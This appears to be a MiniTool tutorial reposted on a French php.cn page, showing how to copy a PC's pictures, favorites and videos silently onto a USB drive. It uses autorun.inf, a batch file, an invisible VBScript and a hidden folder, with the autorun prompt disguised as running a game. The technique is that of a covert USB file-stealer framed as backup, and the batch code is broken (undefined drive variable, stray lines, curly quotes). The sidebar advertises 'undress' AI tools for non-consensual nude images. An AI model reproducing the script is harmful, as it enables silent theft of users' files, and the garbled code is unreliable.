Table des matières
How to Automatically Copy File When USB Drive Connected toYour PC?
Suggestion: Back up Your Files Regularly with MiniTool ShadowMaker
Final Words
Maison tutoriels informatiques connaissances en informatique [Correction] Comment copier automatiquement les fichiers lorsque le lecteur USB est connecté? - Minitool

[Correction] Comment copier automatiquement les fichiers lorsque le lecteur USB est connecté? - Minitool

Apr 14, 2025 am 12:28 AM

[Correction] Comment copier automatiquement les fichiers lorsque le lecteur USB est connecté? - Minitool

How to auto copy USB files silently without notifications on Windows 10/11? If you need to do that, this post from MiniTool Website will help you automatically copy files when USB files connected in detail. Without wasting more time, let’s jump into it right now!

Some of you are looking for a way to copy the files automatically when USB drive plugged in your computer. Don’t worry, this idea seems difficult to realize but we still find a solution for you.

How to Automatically Copy File When USB Drive Connected toYour PC?

To automatically copy file when USB drive connected to your PC, you need to automatically back up files with autorun.inf and .bat file. Here’s how to do it:

Step 1. Create a notepad on your USB flash drive > copy & paste the following content to it and click on File > Save As > change the file name to Autorun.inf > set file type to all files.

[autorun]

icon=drive.ico

open=launch.bat

action=Click ok to Run game for Windows

shell\open\command=launch.bat

save this file

Step 2. Create a notepad file with the following contents on your USB flash dive> click on File > Save As > rename it to file.bat > change file type to all types. You can replace picture, videos, Favorites according to your needs.

@echo off

:: variables

/min

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”

%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”

%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”

@echo off

cls

Step 3. Similarly, you can create a notepad file on USB drive named invisible.vbs with the following content. This operation is to create a VB Script to batch file as invisible.

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

Step 4. To make a batch file for running VB Script and file.bat, you need to create a notepad file named launch.bat with the following content:

wscript.exe \invisible.vbs file.bat

Step 5. At last, create a folder in the root of USB flash drive named all. Save all the files in the folder and make it hidden. Click on file.bat to test if the batch file works for automatically copy files when USB drive connected to your PC.

Suggestion: Back up Your Files Regularly with MiniTool ShadowMaker

After knowing how to make a USB drive copy files automatically, we recommend an easier way to create an automatic backup – backing up with MiniTool ShadowMaker. This Windows backup software is designed to back up files, folders, partitions, systems, and disks on Windows machines. With it, you can set to back up your task daily, weekly, monthly, or on event. Here’s how to create an automatic backup with ease:

Step 1. Launch MiniTool ShadowMaker to get a 30-day free trial.

Step 2. In the Backup page, choose the file you want to make a copy by hitting SOURCE > Folders and Files. In DESTINATION, select a storage path for your backup task.

hit Folders and Files

Step 3. Click on Back Up Now to start the process or delay the task by hitting Back Up Later. Go to Options > toggle on Schedule Settings manually > set a specific point of a day (s) in a day, week, or month.

create a scheduled backup

Final Words

This post illustrates how to automatically copy files when USB drive connected to your PC via bache file and another easy way to back up your data on a regularly basis. Sincerely they are helpful to you. Appreciate your time!

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment réparer l'erreur de nuage de vapeur? Essayez ces méthodes Comment réparer l'erreur de nuage de vapeur? Essayez ces méthodes Apr 04, 2025 am 01:51 AM

L'erreur de nuage de vapeur peut être causée par de nombreuses raisons. Pour jouer à un jeu en douceur, vous devez prendre certaines mesures pour supprimer cette erreur avant de lancer le jeu. Le logiciel PHP.CN présente certaines façons ainsi que des informations plus utiles dans cet article.

Metadata Windows et problèmes de services Internet: comment le résoudre? Metadata Windows et problèmes de services Internet: comment le résoudre? Apr 02, 2025 pm 03:57 PM

Vous pouvez voir que «une connexion aux métadonnées Windows et aux services Internet (WMIS) n'a pas pu être établie.» Erreur sur la visionneuse d'événements. Cet article de Php.cn présente comment supprimer le problème des métadonnées Windows et des services Internet.

Comment résoudre les problèmes de mise à jour KB5035942 - Système de crash Comment résoudre les problèmes de mise à jour KB5035942 - Système de crash Apr 02, 2025 pm 04:16 PM

KB5035942 MISE À JOUR LES PROBLÈMES - SYSTÈME D'ÉCRASSION PROBLÈME AUX UTILISATEURS. Les personnes infligées espèrent trouver un moyen de sortir du type de problèmes, comme le système de crash, l'installation ou les problèmes sonores. Ciblage de ces situations, cet article publié par Php.cn Wil

Correction - OneDrive ne télécharge pas de photos sur PC Correction - OneDrive ne télécharge pas de photos sur PC Apr 02, 2025 pm 04:04 PM

OneDrive est un service de stockage cloud en ligne de Microsoft. Parfois, vous pourriez trouver qu'OneDrive ne parvient pas à télécharger des photos sur le cloud. Si vous êtes sur le même bateau, continuez à lire ce post du logiciel PHP.CN pour obtenir des solutions efficaces maintenant!

Fix: Brothers: A Tale of Two Sons Remake Not Lancement / Loading Fix: Brothers: A Tale of Two Sons Remake Not Lancement / Loading Apr 02, 2025 am 02:40 AM

Est-ce que Brothers: A Tale of Two Sons Remake ne se lance pas? Rencontrez Brothers: A Tale of Two Sons Remake Black Screen? Ici, ce post sur php.cn vous propose des solutions testées pour vous aider à résoudre ce problème.

Supprimez les logiciels malveillants PC App Store - un guide complet pour vous! Supprimez les logiciels malveillants PC App Store - un guide complet pour vous! Apr 04, 2025 am 01:41 AM

Si vous avez un programme appelé PC App Store sur votre ordinateur et que vous ne l'installez pas délibérément, votre PC peut être infecté par le malware. Cet article de Php.cn présente comment supprimer les logiciels malveillants PC App Store.

Comment utiliser l'outil Chris Titus pour créer un ISO WIN11 / 10 débloated Comment utiliser l'outil Chris Titus pour créer un ISO WIN11 / 10 débloated Apr 01, 2025 am 03:15 AM

Chris Titus Tech a un outil appelé Windows Utility qui peut vous aider à créer facilement une ISO Windows 11/10 débloated pour installer un système propre. Php.cn offre un guide complet sur la façon de faire cette chose à l'aide de l'outil Chris Titus.

Les efforts fixe pour l'écran noir après l'installation d'un pilote graphique Les efforts fixe pour l'écran noir après l'installation d'un pilote graphique Apr 15, 2025 am 12:11 AM

Avez-vous déjà rencontré un écran noir après avoir installé un pilote graphique comme un pilote Nvidia dans Windows 10/11? Maintenant, dans cet article de PHP.CN, vous pouvez trouver quelques solutions qui valent la peine d'être essayées à l'écran noir de mise à jour du pilote NVIDIA.

See all articles